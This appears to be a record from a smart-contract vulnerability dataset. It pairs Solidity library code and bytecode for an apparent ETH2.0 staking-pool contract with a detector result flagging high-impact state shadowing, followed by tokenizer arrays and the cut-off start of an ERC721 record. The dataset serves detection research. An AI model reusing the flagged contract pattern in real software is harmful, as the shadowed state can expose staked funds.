_notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _serviceAdmin; bool private initialized; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event NewServiceAdmin(address indexed previousServiceAdmin, address indexed newServiceAdmin); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function init(address serviceAdmin_) internal { require(!initialized, "Ownable: init done"); _setOwner(_msgSender()); _setServiceAdmin(serviceAdmin_); initialized = true; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Returns the address of the current service admin. */ function serviceAdmin() public view virtual returns (address) { return _serviceAdmin; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the service Admin. */ modifier onlyServiceAdmin() { require(serviceAdmin() == _msgSender(), "Ownable: caller is not the serviceAdmin"); _; } modifier anyAdmin(){ require(serviceAdmin() == _msgSender() || owner() == _msgSender(), "Ownable: Caller is not authorized"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() external virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) external virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function _setServiceAdmin(address newServiceAdmin) private { address oldServiceAdmin = _serviceAdmin; _serviceAdmin = newServiceAdmin; emit NewServiceAdmin(oldServiceAdmin, newServiceAdmin); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IPlatformFees { function setStakeFeeNumerator(uint256 numerator_) external; function setStakeFeeDenominator(uint256 denominator_) external; function setUnstakeFeeNumerator(uint256 numerator_) external; function setUnstakeFeeDenominator(uint256 denominator_) external; function setMinStakeAmount(uint256 _amount) external; function setStakeTxLimit(uint256 limit_) external; function setFeeWallet(address payable feeWallet_) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x60806040526004361061021e5760003560e01c806385f90e7911610123578063bbcd5bbe116100ab578063eb4af0451161006f578063eb4af045146106e4578063eb7a75d714610704578063f18876841461071a578063f25f4b5614610730578063f2fde38b1461075057610273565b8063bbcd5bbe14610652578063bcb3d28314610672578063ca85a8eb14610692578063da998dca146106b0578063ea6c9d73146106ce57610273565b8063a694fc3a116100f2578063a694fc3a146105d6578063aa9bbc0c146105e9578063ac1a7301146105ff578063b10dcc931461061f578063b6dfbd241461063257610273565b806385f90e791461054d5780638cf37da91461057d5780638da5cb5b1461059357806390d49b9d146105b657610273565b80633dbd46bd116101a65780636c2d90c7116101755780636c2d90c7146104a55780636c57f602146104c5578063715018a6146104f25780637bd168ee14610507578063817b1cd21461053757610273565b80633dbd46bd146103f45780633e10e49f146104425780634b4005cd146104585780634c313fc21461047857610273565b806323ac1896116101ed57806323ac18961461035e57806330d6a9751461037e578063358826c51461039e57806339f096ec146103be5780633bbc1e88146103d457610273565b806301e33667146102ad57806304a938e4146102cd5780630ca615e61461030d578063158ef93e1461032d57610273565b3661027357604080513381523460208201527fa9e666da7b35889f07032cafd026a2521cf03ac5296c024c18db1e2c3b788f9d910160405180910390a1600954610271906001600160a01b031634610770565b005b604080513381523460208201527fa9e666da7b35889f07032cafd026a2521cf03ac5296c024c18db1e2c3b788f9d910160405180910390a1005b3480156102b957600080fd5b506102716102c83660046120da565b61085f565b3480156102d957600080fd5b506102fa6102e836600461211b565b600f6020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561031957600080fd5b50610271610328366004612134565b61093b565b34801561033957600080fd5b5060095461034e90600160a81b900460ff1681565b6040519015158152602001610304565b34801561036a57600080fd5b5061027161037936600461211b565b6109ee565b34801561038a57600080fd5b506102716103993660046121ba565b610a58565b3480156103aa57600080fd5b506102716103b93660046121e6565b610bc1565b3480156103ca57600080fd5b506102fa60085481565b3480156103e057600080fd5b506102716103ef36600461211b565b610c8c565b34801561040057600080fd5b5061042a61040f36600461211b565b600d602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610304565b34801561044e57600080fd5b506102fa60065481565b34801561046457600080fd5b506102716104733660046121e6565b610cf6565b34801561048457600080fd5b506104986104933660046121e6565b610dd6565b6040516103049190612203565b3480156104b157600080fd5b506102fa6104c03660046121ba565b610e42565b3480156104d157600080fd5b506102fa6104e036600461211b565b600e6020526000908152604090205481565b3480156104fe57600080fd5b50610271610e6d565b34801561051357600080fd5b5061034e6105223660046121e6565b600c6020526000908152604090205460ff1681565b34801561054357600080fd5b506102fa600b5481565b34801561055957600080fd5b5061034e61056836600461211b565b60106020526000908152604090205460ff1681565b34801561058957600080fd5b506102fa60055481565b34801561059f57600080fd5b5060015461010090046001600160a01b031661042a565b3480156105c257600080fd5b506102716105d13660046121e6565b610ed9565b6102716105e436600461211b565b610fab565b3480156105f557600080fd5b506102fa600a5481565b34801561060b57600080fd5b5061027161061a36600461211b565b611191565b61027161062d36600461225d565b61122b565b34801561063e57600080fd5b5061027161064d36600461211b565b61176f565b34801561065e57600080fd5b5061027161066d3660046121e6565b6117b9565b34801561067e57600080fd5b5061027161068d36600461211b565b611827565b34801561069e57600080fd5b506012546001600160a01b031661042a565b3480156106bc57600080fd5b506002546001600160a01b031661042a565b3480156106da57600080fd5b506102fa60035481565b3480156106f057600080fd5b506102716106ff36600461211b565b611871565b34801561071057600080fd5b506102fa60045481565b34801561072657600080fd5b506102fa60075481565b34801561073c57600080fd5b5060095461042a906001600160a01b031681565b34801561075c57600080fd5b5061027161076b3660046121e6565b611917565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146107bd576040519150601f19603f3d011682016040523d82523d6000602084013e6107c2565b606091505b50509050806108185760405162461bcd60e51b815260206004820181905260248201527f455448322e30506f6f6c3a204661696c656420746f2073656e6420457468657260448201526064015b60405180910390fd5b604080516001600160a01b0385168152602081018490527fa5957fefb5b0f981554450d4d8dde003083cd202e3d5a2992e09c88ad1f0d791910160405180910390a1505050565b6001546001600160a01b036101009091041633146108ab5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015260640161080f565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b1580156108f557600080fd5b505af1158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d919061231b565b61093657600080fd5b505050565b600954600160a81b900460ff161561098d5760405162461bcd60e51b8152602060048201526015602482015274455448322e30506f6f6c3a20696e697420646f6e6560581b604482015260640161080f565b61099d88888888888888886119e8565b6109a5611a9a565b50506001600a8190556011555050601280546001600160a01b039096166001600160a01b03199096169590951790945550506009805460ff60a81b1916600160a81b1790555050565b6002546001600160a01b0316331480610a1757506001546001600160a01b036101009091041633145b610a335760405162461bcd60e51b815260040161080f9061233d565b60008111610a535760405162461bcd60e51b815260040161080f9061237e565b600455565b336000908152600c602052604090205460ff16610add5760405162461bcd60e51b815260206004820152603760248201527f455448322e30506f6f6c3a2043616c6c6572206e6f7420617574686f7269736560448201527f6420746f2063616c6c20746869732066756e6374696f6e000000000000000000606482015260840161080f565b610ae78183611b00565b6012546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b158015610b3957600080fd5b505af1158015610b4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b71919061231b565b610bbd5760405162461bcd60e51b815260206004820152601e60248201527f455448322e30506f6f6c3a20496e73756666696369656e742066756e64730000604482015260640161080f565b5050565b6002546001600160a01b0316331480610bea57506001546001600160a01b036101009091041633145b610c065760405162461bcd60e51b815260040161080f9061233d565b6001600160a01b038116610c685760405162461bcd60e51b8152602060048201526024808201527f455448322e30506f6f6c3a20496e76616c696420636f6e7472616374206164646044820152637265737360e01b606482015260840161080f565b6001600160a01b03166000908152600c60205260409020805460ff19166001179055565b6002546001600160a01b0316331480610cb557506001546001600160a01b036101009091041633145b610cd15760405162461bcd60e51b815260040161080f9061233d565b60008111610cf15760405162461bcd60e51b815260040161080f9061237e565b600655565b6002546001600160a01b0316331480610d1f57506001546001600160a01b036101009091041633145b610d3b5760405162461bcd60e51b815260040161080f9061233d565b6001600160a01b0381166000908152600c602052604090205460ff16610db55760405162461bcd60e51b815260206004820152602960248201527f455448322e30506f6f6c3a20436f6e74726163742061646472657373206e6f74604482015268081d995c9a599a595960ba1b606482015260840161080f565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6001600160a01b038116600090815260146020908152604091829020805483518184028101840190945280845260609392830182828015610e3657602002820191906000526020600020905b815481526020019060010190808311610e22575b50505050509050919050565b6001600160a01b03821660009081526013602090815260408083208484529091529020545b92915050565b6001546001600160a01b03610100909104163314610ecd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161080f565b610ed76000611d6d565b565b6002546001600160a01b0316331480610f0257506001546001600160a01b036101009091041633145b610f1e5760405162461bcd60e51b815260040161080f9061233d565b6001600160a01b038116610f895760405162461bcd60e51b815260206004820152602c60248201527f506c6174666f726d4665653a20616464726573732063616e206e6f742062652060448201526b7a65726f206164647265737360a01b606482015260840161080f565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60026000541415610ffe5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161080f565b600260005560045460035434916110209161101a908590611dc7565b90611dda565b146110935760405162461bcd60e51b815260206004820152603d60248201527f455448322e30506f6f6c3a2056616c75652063616e206e6f742062652067726560448201527f61746572206f72206c657373207468616e207374616b696e6720666565000000606482015260840161080f565b61109d8133611b00565b6012546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b1580156110ef57600080fd5b505af1158015611103573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611127919061231b565b6111735760405162461bcd60e51b815260206004820152601e60248201527f455448322e30506f6f6c3a20496e73756666696369656e742066756e64730000604482015260640161080f565b600954611189906001600160a01b031634610770565b506001600055565b6002546001600160a01b03163314806111ba57506001546001600160a01b036101009091041633145b6111d65760405162461bcd60e51b815260040161080f9061233d565b600081116112265760405162461bcd60e51b815260206004820152601f60248201527f506c6174666f726d4665653a206c696d69742063616e206e6f74207a65726f00604482015260640161080f565b600855565b6002600054141561127e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161080f565b6002600055600854815111156112fc5760405162461bcd60e51b815260206004820152603e60248201527f455448322e30506f6f6c3a20496e707574206172726179206c656e677468206960448201527f732067726561746572207468616e20617070726f766564206c656e6774680000606482015260840161080f565b6000805b82518110156115bc57336001600160a01b0316600d6000858481518110611329576113296123c6565b6020908102919091018101518252810191909152604001600020546001600160a01b0316146113a55760405162461bcd60e51b815260206004820152602260248201527f455448322e30506f6f6c3a204f6e6c79206f776e65722063616e20756e7374616044820152616b6560f01b606482015260840161080f565b601060008483815181106113bb576113bb6123c6565b60209081029190910181015182528101919091526040016000205460ff166114365760405162461bcd60e51b815260206004820152602860248201527f455448322e30506f6f6c3a205472616e73616374696f6e20616c7265616479206044820152671d5b94dd185ad95960c21b606482015260840161080f565b60006010600085848151811061144e5761144e6123c6565b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055506114ba600e6000858481518110611494576114946123c6565b602002602001015181526020019081526020016000205483611de690919063ffffffff16565b91506114df338483815181106114d2576114d26123c6565b6020026020010151611df2565b1561150757611507338483815181106114fa576114fa6123c6565b6020026020010151611e6d565b7f204fccf0d92ed8d48f204adb39b2e81e92bad0dedb93f5716ca9478cfb57de003384838151811061153b5761153b6123c6565b6020026020010151600e6000878681518110611559576115596123c6565b6020026020010151815260200190815260200160002054426040516115a294939291906001600160a01b0394909416845260208401929092526040830152606082015260800190565b60405180910390a1806115b4816123f2565b915050611300565b50346115d960065461101a60055485611dc790919063ffffffff16565b1461164c5760405162461bcd60e51b815260206004820152603f60248201527f455448322e30506f6f6c3a2056616c75652063616e206e6f742062652067726560448201527f61746572206f72206c657373207468616e20756e7374616b696e672066656500606482015260840161080f565b600b546116599082611fdd565b600b5560125460405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b1580156116a857600080fd5b505af11580156116bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e0919061231b565b61173b5760405162461bcd60e51b815260206004820152602660248201527f455448322e30506f6f6c3a20496e73756666696369656e74205374726f6e6720604482015265746f6b656e7360d01b606482015260840161080f565b600954600654600554611766926001600160a01b0316916117619161101a908690611dc7565b610770565b50506001600055565b6002546001600160a01b031633148061179857506001546001600160a01b036101009091041633145b6117b45760405162461bcd60e51b815260040161080f9061233d565b600355565b6001546001600160a01b036101009091041633146118055760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015260640161080f565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633148061185057506001546001600160a01b036101009091041633145b61186c5760405162461bcd60e51b815260040161080f9061233d565b600555565b6002546001600160a01b031633148061189a57506001546001600160a01b036101009091041633145b6118b65760405162461bcd60e51b815260040161080f9061233d565b600081116119125760405162461bcd60e51b815260206004820152602360248201527f506c6174666f726d4665653a20616d6f756e742063616e206e6f74206265207a60448201526265726f60e81b606482015260840161080f565b600755565b6001546001600160a01b036101009091041633146119775760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161080f565b6001600160a01b0381166119dc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161080f565b6119e581611d6d565b50565b600954600160a01b900460ff1615611a3b5760405162461bcd60e51b8152602060048201526016602482015275506c6174666f726d4665653a20696e697420646f6e6560501b604482015260640161080f565b600388905560048790556005869055600685905560078490556008839055600980546001600160a01b0319166001600160a01b038416179055611a7d81611fe9565b50506009805460ff60a01b1916600160a01b179055505050505050565b60015460ff1615611aed5760405162461bcd60e51b815260206004820152601a60248201527f5265656e7472616e637947756172643a20696e697420646f6e65000000000000604482015260640161080f565b60016000819055805460ff191681179055565b6008546001600160a01b03821660009081526014602052604090205410611b805760405162461bcd60e51b815260206004820152602e60248201527f455448322e30506f6f6c3a20557365722063616e206e6f74206578636565642060448201526d1cdd185ad9481d1e081b1a5b5a5d60921b606482015260840161080f565b600754821015611bf85760405162461bcd60e51b815260206004820152603e60248201527f455448322e30506f6f6c3a20416d6f756e742063616e206e6f74206265206c6560448201527f7373207468616e206d696e696d756d207374616b696e6720616d6f756e740000606482015260840161080f565b6001600160a01b038116611c4e5760405162461bcd60e51b815260206004820181905260248201527f455448322e30506f6f6c3a20496e76616c696420757365722061646472657373604482015260640161080f565b601180546000908152600d6020908152604080832080546001600160a01b0319166001600160a01b03871617905583548352600e825280832086905583548352600f8252808320429055925482526010905220805460ff19166001179055600b54611cb99083611de6565b600b55601154611cca908290611df2565b611d12576011546001600160a01b0382166000908152601460208181526040808420805460138452828620878752845291852082905592825260018101835591835290912001555b601154604080516001600160a01b0384168152602081019290925281018390524260608201527fb4caaf29adda3eefee3ad552a8e85058589bf834c7466cae4ee58787f70589ed9060800160405180910390a1610bbd612060565b600180546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000611dd3828461240d565b9392505050565b6000611dd3828461242c565b6000611dd3828461244e565b6001600160a01b038216600090815260146020526040812054611e1757506000610e67565b6001600160a01b038316600081815260136020908152604080832086845282528083205493835260149091529020805482908110611e5757611e576123c6565b9060005260206000200154831491505092915050565b6001600160a01b038216600090815260146020526040812054611e91906001611fdd565b6001600160a01b03841660009081526014602052604081208054929350909183908110611ec057611ec06123c6565b9060005260206000200154905080831415611f2d576001600160a01b038416600081815260136020908152604080832087845282528083208390559282526014905220805480611f1257611f12612466565b60019003818190600052602060002001600090559055611fd7565b6001600160a01b0384166000818152601360209081526040808320878452825280832080549084905593835260149091529020805483919083908110611f7557611f756123c6565b60009182526020808320909101929092556001600160a01b0387168082526013835260408083208684528452808320859055908252601490925220805480611fbf57611fbf612466565b60019003818190600052602060002001600090559055505b50505050565b6000611dd3828461247c565b600254600160a01b900460ff16156120385760405162461bcd60e51b81526020600482015260126024820152714f776e61626c653a20696e697420646f6e6560701b604482015260640161080f565b61204133611d6d565b61204a81612073565b506002805460ff60a01b1916600160a01b179055565b60115461206e906001611de6565b601155565b600280546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f9dfd842f298fc1353677dd28d7991f3c0effcf42d2c8e5e139dd56cf2fd6632390600090a35050565b6001600160a01b03811681146119e557600080fd5b6000806000606084860312156120ef57600080fd5b83356120fa816120c5565b9250602084013561210a816120c5565b929592945050506040919091013590565b60006020828403121561212d57600080fd5b5035919050565b60008060008060008060008060006101208a8c03121561215357600080fd5b893561215e816120c5565b985060208a0135975060408a0135965060608a0135955060808a0135945060a08a0135935060c08a0135925060e08a0135612198816120c5565b91506101008a01356121a9816120c5565b809150509295985092959850929598565b600080604083850312156121cd57600080fd5b82356121d8816120c5565b946020939093013593505050565b6000602082840312156121f857600080fd5b8135611dd3816120c5565b6020808252825182820181905260009190848201906040850190845b8181101561223b5783518352928401929184019160010161221f565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561227057600080fd5b823567ffffffffffffffff8082111561228857600080fd5b818501915085601f83011261229c57600080fd5b8135818111156122ae576122ae612247565b8060051b604051601f19603f830116810181811085821117156122d3576122d3612247565b6040529182528482019250838101850191888311156122f157600080fd5b938501935b8285101561230f578435845293850193928501926122f6565b98975050505050505050565b60006020828403121561232d57600080fd5b81518015158114611dd357600080fd5b60208082526021908201527f4f776e61626c653a2043616c6c6572206973206e6f7420617574686f72697a656040820152601960fa1b606082015260800190565b60208082526028908201527f506c6174666f726d4665653a2064656e6f6d696e61746f722063616e206e6f74604082015267206265207a65726f60c01b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415612406576124066123dc565b5060010190565b6000816000190483118215151615612427576124276123dc565b500290565b60008261244957634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612461576124616123dc565b500190565b634e487b7160e01b600052603160045260246000fd5b60008282101561248e5761248e6123dc565b50039056fea2646970667358221220e278189146b205ac9b71f5cc62506da46721c4b7dd80e957588857802ac6824e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 2692, 16409, 21619, 2581, 2575, 2063, 2575, 2546, 26224, 12376, 7959, 14526, 2575, 2581, 2094, 2620, 7011, 2278, 2683, 2620, 24594, 22610, 26337, 18939, 2692, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 29464, 2705, 16869, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 21541, 17583, 16869, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 4132, 7959, 2229, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 3206, 3802, 22269, 13669, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,890
0x95e0f49c7c81cf3e808bb21c430927738b34fde5
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // 